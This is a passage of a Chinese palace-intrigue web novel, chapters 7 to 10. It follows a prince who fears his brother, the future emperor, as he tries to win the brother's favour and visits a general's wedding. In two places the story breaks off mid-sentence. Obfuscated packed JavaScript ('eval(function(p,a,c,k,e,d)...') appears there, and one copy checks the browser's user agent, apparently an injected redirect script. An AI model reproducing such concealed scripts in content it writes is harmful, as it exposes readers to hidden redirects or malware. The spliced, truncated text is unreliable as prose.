《皇兄,你解龙袍作甚!》 7. 第7章 一片寂静后,声音像是星点的火燃起。 “败了?怎么会败了呢?” “我的儿,我的儿也在那战场上啊,我等着他回家呢!” “太子败了?太子怎么会败呢?” 呼啸的风声,凄厉的喊叫声,杂乱的咒骂声,周围的声音太多了,汇成一股嘈杂的洪流,从四面八方疯狂涌入姬簌星的耳朵。 人群骚乱起来,他被裹挟在惊慌失措的人潮中,身子踉跄的往前走。 “不是的,这是假的……”他喃喃着,猛地捂住双耳,不顾一切转身,用尽全身力气逆着人流狂奔。 “簌星!回来!”表哥的呼喊被风扯得破碎,他听不真切,也顾不上回应。 他学了新字,背熟了好几篇策论,等着给太子哥哥讲,太子哥哥答应给他带北郡的礼物…… 怎么会这样?怎么会这样…… 滚烫的泪逆风挂在脸上,冻结成冰,姬簌星一直跑一直不停,直到再没有人影,再没有声音。 最后一点力气耗尽,他重重扑倒在冰冷刺骨的雪地里,脸埋进厚厚的积雪,世界终于只剩下他自己喘息和心跳 他埋了多久?好像没有时间,混沌里,他迷迷糊糊听到了丧钟响起,穿透风雪,撞进他的耳膜里,眼前雪白化作了惨白缟素。 他被拉回了简陋的灵台前,身旁人递过来一把纸钱。 “星儿,给你太子哥哥上柱香吧。” “不……” 姬簌星猛然惊醒,才发现天光大亮,窗子没有关严,金豆正拿爪子扒拉着那一条小缝。 他坐起身来,揉了揉眉心。 他许久没梦到以前的事情了,或者说他被下毒之后,关于姬临阙的记忆逐渐模糊,连带着思绪也总是浑浑噩噩,难以清明。 他心脏仍旧跳得厉害,缓了许久才回神,他抱着被子,脑袋埋在膝盖里,太晚了,他知道得太晚了,晚到做了很多的错事。 他本性并不好,只是当年姬临阙教导得好。 姬簌星脑子放空,现在想这些毫无用处,安稳地活下去,才是顶要紧的事。 在那书里,姬昀雀上位前后将所有皇子都杀了,他还是最后一个死的。 姬簌星打了个哆嗦,只觉得自己小命随时不保,不过如今他脑海中多出了那些书里的事,若能以此为筹码,帮到姬昀雀……他总不至于非要杀一个有功之人吧? “叩叩叩。”敲门声响起。 姬簌星披了件外袍下榻,顺手捞起蹭过来的金豆抱在怀里,扬声道:“进来。” “殿下。” 屋门打开,进来的内侍不是明丰,是一个年纪略小的少年,面容俊秀,长得白净,他叫明喜,他与明丰一样,都是贴身伺候的內侍。 先前煽风点火,挑唆他欺负姬昀雀的人也是他,蛊惑他下药的也是他,但真正实施起来,却把自己摘了个干净。 那书上说,明喜是三皇兄的眼线。 明喜端着盛满温水的铜盆进来,妥帖地放在一旁架子上,脸上堆起惯常的讨巧笑容,上前来要伺候姬簌星更衣,姬簌星不语,只抱着猫,目光沉沉地落在他脸上。 明喜被这目光盯得心里莫名一慌,但转念一想,便又定下神,笑容更殷勤了几分。 “殿下今儿个是怎么了?可是哪个没眼力见的下人惹您不高兴了?您告诉奴婢,奴婢定狠狠教训他,给您出气。” 姬簌星瞥了他一眼,似笑非笑,“你如今胆子是越发大了。” 明喜脸上笑容瞬间僵住,虽不明就里,但察言观色的本事一流,噗通一声跪倒在地,“奴婢愚钝!不知是何处惹恼了殿下!千错万错都是奴婢的错,求殿下息怒!” 姬簌星冷冷瞥着他,这明喜确有一张巧嘴,惯会偷换概念,搬弄是非,可惜,此人是三皇兄的棋子,眼下动不得,杀不得。 难道自己要避他锋芒? 他收回视线,不再看地上的人,转而提高声音唤道:“崔嬷嬷。” 一直守在门外的崔嬷嬷应声而入,看见跪在地上的明喜,脸上并无半分讶异。她是姬簌星母妃容妃从娘家崔氏带出来的老人,如今是这九皇子府里实际的管事。 “殿下有何吩咐?” 姬簌星抚着猫背,随意开口,“我不想再看见他,即日起,降明喜为杂役使,不得再踏入内院半步,往后内院一应起居事务,皆由明丰掌管。” 话音刚落,明喜就失声抬头,“殿下!” 他仗着往日姬簌星的纵容,竟一时忘了规矩,梗着脖子辩驳,“殿下,明喜实在不知道做错了什么。” “放肆!”崔嬷嬷侧身上前半步,一记响亮的耳光重重扇在明喜脸上。 “主子面前,岂容你质疑!来人,还不把这没规矩的东西拖下去!” 那巴掌声听得响亮,姬簌星都觉得脸痛,这位崔嬷嬷以往没少苦口婆心地劝诫他,只是他多半当了耳旁风,后来他被姬昀雀囚禁,崔家大厦倾颓,这位老嬷嬷,还四处奔走,为他求情…… 想到此处,姬簌星心中泛起一阵酸涩的暖意,感动道:“嬷嬷,这些年,多亏有您在府中操持,替我收拾了多少烂摊子,从前是我荒唐不懂事,往后……我定不会像过去那般胡闹了。” 崔嬷嬷听得此言,奇怪地看了姬簌星一眼,她看大的小主子,就没改过,每次都说处置明喜,过两日又被人哄得团团转。 这些年来,不知道犯了多少荒唐事,自家娘娘也不喜见他,唉。 她不抱希望,但还是劝道,“殿下,七殿下昨日搬回府中了,如今他得陛下重用,殿下还是莫要得罪他为好。” 姬簌星手一抖,差点扯了自己头发,“姬昀雀已经搬回来了?” 他没想到姬昀雀居然这么迅速。 接下来几日,姬簌星都缩在自己的椿棠院里,借口养伤半步未出,主要是后颈伤还没好全,他只要摸到,就想起那日发生的事,他着实不知该如何面对姬昀雀。 这日难得是个艳阳天,他抱着金豆悠哉悠哉地躺在躺椅上小盹,暖洋洋的日光照在他身上,他又开始犯困。 就在意识即将陷入昏睡前,他猛地惊醒。 毒!他身上的毒还没解! 恰在此时,明丰轻手轻脚地走了过来,低声禀报:“殿下,今冬的被服衣裳都已裁剪制妥了,库房里还余下一匹上好的雪狐皮子,您看……想用来做点什么?” 姬簌星坐直身子,将金豆放在膝上,有一下没一下地顺着它光滑的背毛,沉吟片刻,“就用那雪狐皮,做一件绒里披风吧,按着……七殿下的身量尺寸做。” 前半句明丰听得真切,后半句却让他愣了,他下意识地重复确认:“殿下……是,是按七殿下的尺寸?” “嗯。”姬簌星懒洋洋地打了个哈欠,眼尾还带着点惺忪水光,“我自有打算,你现在立刻差人进宫一趟,就说我偶感风寒,身上不大爽利,请陈太医过来瞧瞧。” 明丰心头一紧,“殿下,您生病了?” 姬簌星把头埋在金豆肚子里,深吸一口,“可能吧,但要是德妃娘娘过问,你就说我得了风寒。” 明丰心里紧张,“是。” 姬簌星指尖有一搭没一搭地理着金豆的毛,心里思索不知道能不能瞧出来,那陈太医寒门出身,应当不会说假话。 约莫半个时辰后,陈太医便提着药箱赶到了九皇子府。 陈太医瞧着年岁有些高了,带着一股老学究的拘谨,他搭上姬簌星腕间脉搏,凝神细品,眉头却越皱越紧。 姬簌星也有些紧张,“太医,我怎么了?” 陈太医敛下眸子,脸上的皱纹也耷拉着,瞧着很没精神,“殿下似是脾胃不和,有些积滞之症,待老夫开一剂消食导滞的方子,仔细调养几日便无大碍。” 姬簌星盯着陈太医的眼睛看了片刻,忽地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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明丰神色凝重地上前,小心翼翼地将两张墨迹未干的方子收好。 陈太医擦了擦额角的汗,“臣来只是为了帮殿下看风寒,现在看完了,臣就回去了。” “且慢。”姬簌星站起身,脸上闪过一瞬间的别扭和犹豫,“你……顺道去给七殿下也请个平安脉。” 他摸了摸鼻尖,“就……就说我感染了风寒,别的也一并看了,明丰跟着去……” 书上写姬昀雀登基后没有后宫没有子嗣,他在想是不是明丰上次下药下重了,让他伤了根本。 明丰张了张嘴,震惊得说不出话来,这还是他家殿下吗? 他诧异地看了姬簌星一眼,立马领命,“是。” 姬簌星住的椿棠院位在后院正中,是九皇子府里最好的院子,而姬昀雀住的地方则在中院贴着边缘的屋子,说实在的,就是下人才住的院子。 明丰瞧着越来越近的屋子,心里有些急,以往殿下不喜欢七殿下的时候,恨不得将其发配到马棚柴房去住,现在既然起了心思,就万万不能再这样了。 怪不得他家殿下跟着纨绔逛花楼只知道听曲子看戏,原来是喜欢七殿下这样的,但是这七殿下身份,很难搞定啊。 明丰心里发愁,唉,殿下。 “是这儿?” 陈太医揉了揉眼睛,看着那破败的小院,有些不确定地问。 明丰脸上有些发烫,连忙上前敲门,往日里,他跟着姬簌星过来时,从来都是推门就进,从不敲门,可今日不同,他不敢有丝毫怠慢。 “进。” 一道清冷低沉的声音从院内传来,不带丝毫情绪。 明丰小心翼翼推开门,就瞧见姬昀雀站在另一侧,屋子里光线暗,瞧不清他的面容。 明丰心里打鼓,以前没发现这位殿下这么吓人。 他赶紧道:“七殿下,我家殿下忧心殿下身体,特请来太医为殿下诊治。” 姬昀雀走来,目光落在明丰和陈太医身上,“诊治?” 8. 第8章 明丰立在门边,额角已渗出细密的汗珠,不过半年光景,七殿下周身的气势竟判若两人。 见姬昀雀无动于衷,明丰硬着头皮再次开口,“我家殿下确实是偶感风寒,念与您往日情分,特请陈太医也为您请个平安脉。” 姬昀雀的目光落在明丰微微颤抖的手上,眼底掠过一丝讥诮,“我与殿下,何来情谊可言?” 明丰喉头一哽,顿时哑口无言。 就在他尴尬不知所措时,姬昀雀却忽然松了口,缓步走到桌旁坐下,语气平淡得听不出喜怒,“那就有劳太医了。” 陈太医暗暗松了口气,趋步上前,指尖搭上脉门,他凝神细辨,脸色却渐渐变了,眼皮止不住地轻颤,他抬眼看向姬昀雀,欲言又止。 “太医但说无妨。” 陈太医收回手,低叹一声,“殿下正值盛年,大补之药不宜再用。再者……体内精火郁结,不宜强抑,当疏泄为宜。” 姬昀雀的面上瞬间掠过一抹僵硬,眸色沉了沉,“知道了。” 陈太医擦了擦额角的汗,明丰也如蒙大赦,不敢多留。 两人匆匆出了院子,明丰想到自家殿下,鼓起勇气问道:“七殿下他…他那个……火旺不会影响……子嗣吧?” 陈太医古怪地瞥了明丰一眼,只觉得那九皇子古怪得很,管天管地还管自己皇兄的子嗣问题。 “无妨,只是单纯火旺罢了,我给殿下开两副清心茶,服下便能去火。” 明丰这才松了口气,干笑两声:“那就好,那就好。” …… 药味在小院弥漫开来,姬簌星坐在海棠树下的躺椅上,看着那黑乎乎的药汁,面色有些扭曲,他捏住鼻子,一口闷了下去。 明丰赶紧端着梅子干上前,又将姬昀雀的事说了一通。 “太医只说七殿下是火旺之症,并无其他大碍,还开了两副清心去火茶,此刻已经在灶上熬着了。” 两人都默契的没提下药的事。 姬簌星闻言,悬着的一颗心总算落了地,没事就好。 明丰瞧着自家殿下这明显松快的神色,心中愈发笃定殿下对七殿下的心思不一般,犹豫了片刻,还是试探着开口。 “殿下,有件事不知当讲不当讲。” 姬簌星躺在躺椅上慢慢晃,嘴里嚼着两颗梅子干,酸酸甜甜刚好压住嘴里的苦味。 “讲。” “殿下,我跟陈太医去时,发现七殿下住的院子临着边缘,屋里又黑又闷,也不透光……” 姬簌星忽地睁开眼,他怎么差点把这茬给忘了。 当年姬昀阙刚被认回不久,父皇便将其安置在他府中,那时他心气不顺,随意指了处最偏僻的院落,彼时姬昀雀势微,只能隐忍。 “那便替他换一处……”姬簌星话到嘴边,却顿住了。 明丰见他犹豫,忙道:“栖华院还空着,规制与您这椿棠院相仿,又宽敞亮堂,是这府里顶顶好的院子。” 姬簌星神色微动,栖华院他自然知道,不仅形制好,且有一墙与太子府相邻,只是……离他自己的院子也太近了。 他有些迟疑,“是否过于近了?” 明丰着急道:“殿下,这样才能让七殿下知道殿下的重视啊。” 姬簌星犹豫了一会,同明丰想的不一样,他觉得栖华院离太子府近些,更方便姬昀雀行事。 他摆摆手,“那就搬到栖华院,顺便把那清心去火茶一并搬过去,此事你负责。” “再去崔嬷嬷那儿,将库里那套珊瑚珠、白玉盏、鎏金杯……拣几样好的,一并送过去。” 姬簌星抱着猫,轻轻挠着它的下巴,心情莫名松快了几分,拿人手短,吃人嘴软,这下姬昀雀总不会怪自己了吧。 明丰应了一声,退了下去。 栖华院干净明亮,站在院中能窥见隔壁府上满叶金黄的梧桐。 珊瑚珠,白玉盏,金丝八宝炉,紫檀笔架,蚕丝云锦……琳琅满目,最后摆在檀木桌子上的是一碗清心去火茶,热气氤氲,模糊了珠玉金银的光华。 姬昀雀长身立于室中,目光淡淡扫过那些敞开的箱笼,修长手指间拈着一张薄薄信笺,神色难辨。 云澜拳头抵在箱子上,面色极冷,“殿下,九皇子这是挑衅!” 毕竟他们刚查到九皇子下的什么药,下一秒九皇子便大摇大摆地送了珠宝跟茶来。 这是什么意思? 这就是挑衅! 他以为殿下还是先前的殿下?送些上不得台面的珠宝就能封住殿下的口?这打一巴掌再给个甜枣的招数,他何时学会的? 姬昀雀脸上却无波澜,他为储君时,便教导要克己守礼,北疆归来后,这份隐忍愈发深敛入骨。 “殿下,要不……”云澜掌心在脖颈比划了一下。 姬昀雀将那信纸放到紫金香炉里,猩红的火舌舔舐上纸面,升腾起一小股火焰,纸面顷刻化成黑灰。 “查出来那宫妃是谁安排的了吗?” 云澜摇了摇头,“跟那宫妃接触的人死得干干净净,查无可查。” 姬昀雀嗤笑一声,“不必查了,能在后宫把事情做得这么干净的,也只有德妃了……” 云澜没吭声,薛氏家族根基深厚,势力庞大,就算知道北郡的事有薛氏的手笔,也轻易动不得,若是以往陆氏还在,殿下何至于此…… 他沉默了一会,“那……九皇子这边?还有这些东西怎么办?” 姬昀雀没有再看剩下的东西一眼,“卖了,换成军饷。” 云澜精神一振,蚊子再小也是肉,用九皇子的银子,养自己的兵马,想来也痛快。 金银珠宝再次封箱,屋子里再次变得空荡,只剩下桌面上那碗凉透了的清心茶,无人在意。 明丰将一切安排妥当后,马不停蹄地赶回来向姬簌星禀报。 “殿下,栖华院已收拾妥当,七殿下已搬过去了,您吩咐的那些物件也都送过去,只是眼下还缺些过冬的被褥与银炭,属下已让人去采买,过两日便能送到。” 姬簌星正逗弄怀里的猫,闻言只懒懒嗯了一声。 明丰顺势道:“既然七殿下搬近了些,那殿下可要去看看七殿下?” 姬簌星奇怪地看他一眼,“我去看他做什么?” 明丰张了张嘴,恨铁不成钢,“我的殿下哎,您这又是请太医又是送东西的,正好趁热打铁,再把旧事说明白翻个篇,七殿下说不定对殿下印象更好……” 姬簌星手指一顿,哪有那么容易? 他何尝不想,可姬昀雀睚眦必报,疑心又重,他现在这样示好,姬昀雀肯定会怀疑他别有用心。 还有就是那日……姬簌星耳根有些红,又有些气恼,但偏偏是他自己搬石头砸了自己的脚,让他无气可撒。 他把通红的脸埋进金豆柔软的肚子里,闷声道:“再等等……” 这一等又是两日。 姬簌星抱着金豆睡得神清气爽,连药喝着都没那么苦了。 阳光打在窗子上,斜斜地照进屋子里,给桌椅都镀了一层金光。 他今日穿了件浅黄色的云锦交领长袍,腰间扣着织金绣燕的腰带,上面挂着一枚流苏星纹玉佩,更衬得人清贵骄矜。 金豆仰躺在他腿上,正伸爪去够玉佩上的流苏玩。 身后的崔嬷嬷给姬簌星束好发,拿了发带束了一个马尾,扣上金冠,发带下坠的金玉小坠隐在发间若隐若现。 崔嬷嬷望着铜镜中愈发俊朗的少年,眼中满是慈爱,感叹道:“殿下都已长这么大了。” 她面容落寞,轻声开口,“殿下也该去看看娘娘了,娘娘看到殿下如今模样,想必是欢喜的。” 姬簌星摸着金豆的手猛地一顿,目光落在铜镜中崔嬷嬷的身影上,欲言又止。 崔嬷嬷知不知道,自己不是真皇子?他张了张嘴,又把话咽回肚子里,只是有些委屈道:“是母妃不见我……” 崔嬷嬷长叹一声,不再多言,悄然退下了。 室内重归寂静,只余猫爪拨弄玉佩流苏的细微声响,姬簌星心里蓦地涌上一阵烦闷,将金豆放下,推门而出。 他院子里有一棵长得很漂亮的海棠树,如今已是深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他知道姬昀雀真实身份是谁,是自小把他带大的哥哥,是说好一辈子不让他受委屈的皇兄,他从那场冬雪里困到现在,如果不是因为那个梦,那本书,他到现在都不会想起来。 那连日的高烧让他记忆模糊,喝下的毒药让他性情不定浑浑噩噩,以至于现在,站在人面前,不敢相认。 姬昀雀本就比姬簌星高出许多,此刻垂着眸子看着他,几乎能将他整个人完全笼罩住。 他的视线落入姬簌星的眸中,本以为会看到满满的惧怕与惊恐,却出乎意料地发现,那眼底深处竟藏着的是难以言喻的委屈。 姬昀雀只觉得可笑,姬簌星在委屈什么? 被背叛的人不是他,连累着在御前罚站的人不是他,在寒冬被赶出府门的人不是他,沦落至此只剩孤家寡人的人也不是他。 他站在姬簌星面前,倒是有些想问一句。 可他还没张口,姬簌星眼眶里那颗含着的泪就滚了下来,晶莹剔透,珍珠般大的泪,从眼眶滚落,滑过脸颊,挂在下巴。 姬昀雀想说的话顿在口中,视线望进那双通透明亮的眼珠里,琥珀色的眼睛,纯净得能映出人的倒影,跟小时候一模一样。 他略微愣神,其实在北郡的时候想过很多次,他家小九长大后是什么模样。 临来启京的前一晚,明明已布置好一切,却仍止不住有些紧张,这启京满是吃人的豺狼,唯有他家小九干净纯粹,弱小的很。 可直到真正见面,所有的臆想都被击得粉碎。 姬簌星变得骄纵、蛮横、无礼,甚至恶毒,漂亮的皮囊下装着面目全非的魂魄,他唯一惦念的,想要保护的人,也被启京的风雪撕碎了。 北郡那一场血战带走了十万将士,也带走了姬昀雀剩余的慈悲,启京的雪埋掉了陆家三百忠魂,也淹没了他最后一点心软。 所以,面对姬簌星的眼泪,姬昀雀很快恢复无动于衷,眼底只剩下了冷漠与疏离。 “你在哭什么?” 9. 第9章 姬簌星被这句冰冷的话刺得骤然回神。 他将发抖的手往后藏了藏,脸颊狼狈地撇过去,不想让姬昀雀看见自己这般模样。 “我乐意哭,不成吗?” 他说完,指尖却攥得发白,错了,全错了,他本不是要说这句的,他想认错,想解释,先前既然已经示好,此刻只需再说些软话…… 可站在姬昀雀面前,那些话却都堵在喉间,一个字也吐不出来,只剩难堪。 姬昀雀就静静地站在他身前,并不开口说话,院子里只有风动,呼吸轻不可闻,空气凝滞。 姬簌星被这寂静压得浑身不自在,想走又怕会让姬昀雀察觉到他的异样。 他深深吸了口气,努力压下那阵酸涩的怪异情绪,仍垂着脑袋,视线只及对方腰间的金绶带,“你……你刚刚拿箭做什么?” 他说话的时候睫毛止不住地颤,视线飘忽。 姬昀雀的视线垂着,目光顺着他精致的面容下滑,就能看到姬簌星宽松的领口,雪白的脖颈上咬痕已经消散,只余肌肤上极浅的暧昧的一点残红。 经隔几日,再激烈的痕迹也消了。 他视线微顿,旋即抬起,重新落回姬簌星脸上,答得敷衍:“练箭。” 然后他就瞧见姬簌星眉毛微蹙,黑而长的睫毛抖了抖,殷红的唇瓣张开似要反驳,最终却只被贝齿紧紧咬住,脸上露出了一副委屈却敢怒不敢言的表情。 姬昀雀看得分明,心中疑惑,姬簌星向来是个不知忍字为何物的性子,换作往日,早已闹得鸡飞狗跳,定要给他点颜色瞧瞧才肯罢休。 现在的反应,真是奇怪。 姬簌星将下唇咬得褪了血色,忍了又忍,到底没忍住,抬眼瞪他,“那你看见人来了还射!那箭…差点就钉在我脑袋上了!” 委屈褪去理智回笼,任谁被一支冷箭指着脑袋,都无法保持冷静,更何况他再清楚不过,姬昀雀一手箭术出神入化,百步穿杨从无虚发,他根本就是故意的! 他在报复自己,报复自己改换门庭成了三皇子的人,报复自己之前欺辱他。 姬簌星抿着唇,眼神发虚,底气又没有那么足了,“府…府上不是练箭的地方,你若想练那去羽林校场练啊……” 姬昀雀只是淡淡瞥了他一眼,并未搭话,缓缓抬起另一只未握弓箭的手,手臂上护腕擦过腰侧玉钩,“锵”的一声轻响 姬簌星闭上了嘴,下意识屏住呼吸。 却见姬昀雀掌心搭在姬簌星身旁的柱子上,捏住了那枚还在微微颤动的箭柄。 “殿下说的是,只是我有件事想不通,故而晨起消磨火气。” 姬昀雀手臂一撑,两人之间的距离骤然拉近,一股清冽的安神香气息扑面而来,混着淡淡的沉香与竹木味道,萦绕在姬簌星鼻尖,让他屏住了呼吸。 他怔愣看着眼前人,视线落到姬昀雀易容后的脸上,这张脸五官凌厉,面容带着些许清冷,尤其是那双墨眸看什么都带着几分薄情,却能瞧见几分姬临阙的影子。 毕竟被顶替的皇子,其生母本就是陆氏旁系的女儿,可两人又截然不同,姬临阙年少时容貌卓然,俊美不凡,虽自幼被教导恪守太子礼节,却时常藏不住本性桀骜,眼前人还是内敛了不少。 姬簌星望着那双眼睛,有些失神,顺着话喃喃:“什……什么……” 姬昀雀顺手将那深入柱子的箭羽拔了下来,漫不经心拂去箭上沾着的木屑,“太医说我内火旺盛,可我细想饮食起居,并无特别之处,思来想去,唯有国寺那日…” 他顿了顿,视线压在姬簌星脸上,“殿下知道,是何人给我下的药么?” 这话来得猝不及防,姬簌星甚至都没做好准备怎么说,他看着姬昀雀手里尖锐冰冷的箭尖,攥紧指尖,“你……” 姬昀雀又自顾自开口道:“如今国寺那桩案子已有眉目,只待擒住这下药之人,便可了结……殿下,可有什么线索么?” 姬簌星咽了咽口水,姬昀雀这时候才找他,是在……诈他吧?他抿了抿唇,让自己看起来很有底气,“你竟还有脸说!” “要不是我在西苑救了你,你以为你还能好好地站在这里,还能升官?还能领兵?” 姬昀雀眯了眯眼睛:“你救了我?” “自然。”姬簌星撇了撇嘴,一副纨绔模样,“谁知道你胡乱吃了什么药,昏迷着不对劲,还扯着我不走,我见姬鸿宸带人过来,一时怕说不清,便将你藏了起来。” “你晕得神志不清,梦里还尽说胡话……什么别动、咬一口之类的混账话。” 姬昀雀气笑了,他是中药,不是傻了,不至于亲谁咬谁都分不出来,只要他扯开姬簌星的领子,就能看到后颈骨头上最深的牙印。 “原来是梦啊…那还真是谢谢殿下了。”姬昀雀似笑非笑,话语清冷,但姬簌星总觉得他在讽刺他。 姬簌星后退了半步,“谢就算了,我还有事…” 他说完,转身就走。 姬昀雀站在原地,看着他匆忙的背影,起先还有些镇定,但是步子却越来越快。 栖华院枯叶覆满地,姬簌星靴子踩在上面残叶四溅,挂在他衣袍末尾,直到拐回主院的青石路上,他扶着廊柱大口喘着气,才发现自己心跳得有些快。 姬昀雀这个人,心思深沉难测,他根本猜不透对方下一步要说什么,做什么,更拿捏不准对方的脾性。如今两人又同住一个府里,光是想想,就觉得脑袋痛。 难,太难了,讨好都寻不到地方。 “阿星!” 姬簌星还没缓和过来,就听见有人在喊他。 他抬头,只见来人一身招摇的橙锦袍子,银线暗纹在日光下流转,少年怀中抱着一只肥硕的金色狸猫,正捏着肉干逗弄,一双桃花眼笑意盈盈,浑身透着股玩世不恭的风流劲儿,他刚过十七,正是与姬簌星一般年纪。 “薛二?你怎么来了?”姬簌星直起身。 薛锦霈挠了挠金豆的下巴,将它放了下去,随即风骚地抽出腰间骨扇,“唰”地展开,轻摇两下,“听说你前阵子染了风寒,特来探病啊!” 他凑近,肩膀亲昵地撞了撞姬簌星,“瞧你这面色,是大好了?” 姬簌星站直,嫌弃地推他一把:“去去去,离远点,一身脂粉味儿。” 薛锦霈,薛氏嫡孙,排行第二,上头还有一位嫡长姐,他与姬簌星是打学宫起便厮混在一处的交情,逃课受罚皆在一起,关系铁得不能再铁。 薛锦霈闻言,拎起自己袖子闻了闻,狐疑道:“不能吧?许是屋里丫鬟熏衣沾上的……” 他话锋一转,顺势揽住姬簌星,凑近颈边嗅了嗅,“还说我?你身上这味道……” 除了姬簌星身上惯有的香气,还多了一丝淡淡的安神香气息,他不由皱起了眉。 “安神香?你晚上睡不好啊?病得这么严重?” 薛锦霈狐疑抬眸,只见姬簌星面色红润,额角还沾着汗,怎么看都不像是生病的样子。 姬簌星没回答,只是蹲下身子,将在地上磨爪子的金豆抱起来,掂了掂,皱眉:“都说不让你喂这么多了?” 薛锦霈摸了摸鼻尖,“你这猫儿性子傲,不给吃的,连摸都不让……” 姬簌星抱着金豆朝着廊下走去,“那也不能喂这么多。” 金豆才两岁,体型却远超寻常橘猫,毛茸茸一团窝在臂弯里,分量着实不轻。 他在石凳上坐下,看向薛锦霈:“你今日怎得空过来?” 薛家前些日子因薛锦霈游手好闲,一纸调令将他扔进了羽林卫磨性子。 薛锦霈在对面坐下,扇子一合:“今儿休沐,便是不休沐,小爷我想出来,羽林卫那地方谁拦得住?” 他脸上露出几分郁闷,“前几日听说你病了,我本要立刻过来,谁知……” 姬簌星捏着金豆粉嫩的肉垫:“谁知什么?” 薛锦霈一脸晦气,“别提了!羽林卫新来了个羽林将,正是那位姬昀雀!” “谁不知羽林卫里头,不是世家子弟,便是朝臣之后,偏他初来乍到,头一天就收拾了好几个刺儿头,操练起来更是往死里整。我歇了两日才缓过劲,这就赶紧找你来了。” 姬簌星手上动作一顿:“你竟这般听话?” 薛锦霈气道:“姬昀雀激的,他说话刁钻阴损,三言两语就能把人绕进去,刚来就把几个领头的都激成孙子了,还打了赌。” “结果呢?” 薛锦霈脸色更青:“姬昀雀赢了。” 姬簌星并不意外,只劝道:“他激你,你不应便是。” 薛锦霈气得咬牙切齿,“就是要争口气,能被他吓到?我薛家的脸往哪搁?” 他在姬簌星面前口无遮拦,一是他跟姬簌星关系铁,顶顶好的兄弟,二是家世摆在那,他有狂的底气,即便面对皇子,也无需过分忌惮。 他冷笑一声,眼中闪过幸灾乐祸:“你且瞧着吧,那几个吃 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薛锦霈揽着姬簌星的肩膀,脑袋凑近,“你经常缠着表哥,这你都不知道吗?” 姬簌星没有接话,抱着金豆的手臂微微发僵。 薛锦霈察觉他脸色越发苍白,又放缓语气安慰:“表哥待你,比待我这亲表弟还亲近几分,是拿你当一母同胞的亲弟弟疼的。你怕什么?” 姬簌星身子僵硬,脑子有些空白。 是了,姬洵璋跟姬昀雀都在争那个位置,五年前太子兵败就有薛家的手笔,无论哪一方得势,另一个都是要死的。 姬昀雀甚至还会更狠一些,他登上皇位后,第一件事就是要把沉疴已久的世家除掉,薛家,张家……甚至是崔家。 他睁着眼睛,看着近在咫尺的薛锦霈。 脑海里浮现出一段话来:薛家反逆,新帝肃清,尽诛之,薛氏嫡孙薛锦霈,自刎而亡。 薛锦霈见姬簌星久久不语,面色却越来越难看,也收了笑,蹲下身,与他平视,神情是罕见的认真: “阿星,你到底在怕什么?难道……是怕表哥日后容不下你?” 他面容正色,举起手发誓,“阿星,你是我最好的兄弟,倘若日后姬洵璋真混账,我拿命保你!” 姬簌星心中乱麻绞成一团,猛地起身,怀中的金豆受惊,挣脱着跃上石,撞翻了茶盏,温热的茶水溅湿两人衣摆。 薛锦霈却只是凝着眉,十分不解,“阿星,你怎么了?” 姬簌星张了张嘴,喉头像被什么堵住,发不出半点声音。 他能做什么?他能改变什么?自知晓姬昀雀真实身份的那一刻起,他的立场便已注定,虽然怕,但姬临阙在他这里永远是最重要的。 可人心都是肉长的,姬洵璋对他好不好尚且不论,起码眼前的薛锦霈,从未有过半分对不起他,始终将他当作最要好的兄弟,真心相待。 看着眼前面带关切的少年郎,姬簌星最终只是艰涩地动了动唇。 “阿霈,我没事。” 薛锦霈愣了愣神,觉得姬簌星可能风寒未好,心情不愉,他拍了拍衣袍,又恢复了那副浪荡模样,“咱兄弟之间,不说这个。” 他话锋一转,“不过今日找你,还真有件趣事。” 姬簌星兴致不高:“父皇禁我的足,花楼听曲就免了。” 薛锦霈双手环臂,下巴一扬,“谁说是听曲了,今日我薛家嫁女,带着你去瞧个热闹。” 姬簌星脸上疑惑,“没听说你姐姐出阁的消息啊?” 薛锦霈面上有些不屑,“娶我姐?他也配。” 他目光投向府门外,嗤道:“是二房庶出的长女,至于夫家嘛…是刚调回启京的平度大将军,楚明赫。” “有意思吧?这位楚大将军,昔日可是太子伴读,当年太子亲兵全军覆没,唯独他浑身是血捡了条命回来,如今不也投了表哥门下?” 他撞了下姬簌星的肩膀,“这般热闹,你去不去瞧?” 姬簌星面容怔愣了下,楚明赫? 他自然是认得的,太子身边的人他都熟悉得很,玉面小将军沈霖,长枪踏雪陆铮,金刀赤马楚明赫。 跟太子哥哥一起长大的人,他怎么能不认识呢? 姬簌星抬起眼,眸光深处掠过一丝复杂难辨的微光。 “我去。” 10. 第10章 薛氏嫁女,将军娶妻。 长街两侧人头攒动,本该喧腾的喜气却凝滞在空气中,看客们的眼神躲闪,交头接耳眼神里带着说不上来的奇怪。 将军身着甲胄,甲胄之下是暗红色的袍子,唯有手臂上绑了一根艳红的红绸,面容冷峻,眉眼压低,瞧起来有几分阴鸷。 他骑着一匹枣红色大马,马头至鼻梁处一道狰狞的疤痕蜿蜒,与主人身上那冷漠气质如出一辙,身后的迎亲队伍整齐划一,却无半分唢呐的喜庆声响。 嗒嗒嗒!甲胄摩擦,马蹄踏在青石板面,将军从人群中过,只留下化不开的血腥味。 “墙头草,两边倒……”有顽童指着那大马,开始嬉笑,“爹,墙头草娶妻了。” 身旁的人赶紧捂住孩童的嘴巴,可紧接着人群里的声音却捂不住。 “祖传的背主求荣,楚家这根子算是烂透了……” “豫王也敢用他?不怕哪天也被卖了?” “嘘,小声些!如今人家可是豫王眼前的红人,又刚立了功……” 声音很小很小,但是却从四面八方来,钻到每个人的耳朵里。 楚明赫骑着马,面容毫无波澜,像不是在说他一般,挂在臂膀的红绸更像是流动的血,顺着肩颈滴滴答答地往下淌,马蹄踏烂了地面的花瓣跟红纸,像是留了一地血腥。 姬簌星跟薛锦霈在二楼的雅座,薛锦霈靠着窗子,手里也拿了捧花瓣红纸。 “他祖父当年不过前朝一个六品郎将,陛下攻城那日,亲手打开了城门献降,便成了新朝的迎关侯。” 薛锦霈语带讥诮,“如今这位楚将军,回来头件事便是向表哥递投名状,这刻在骨子里的东西,变不了。” 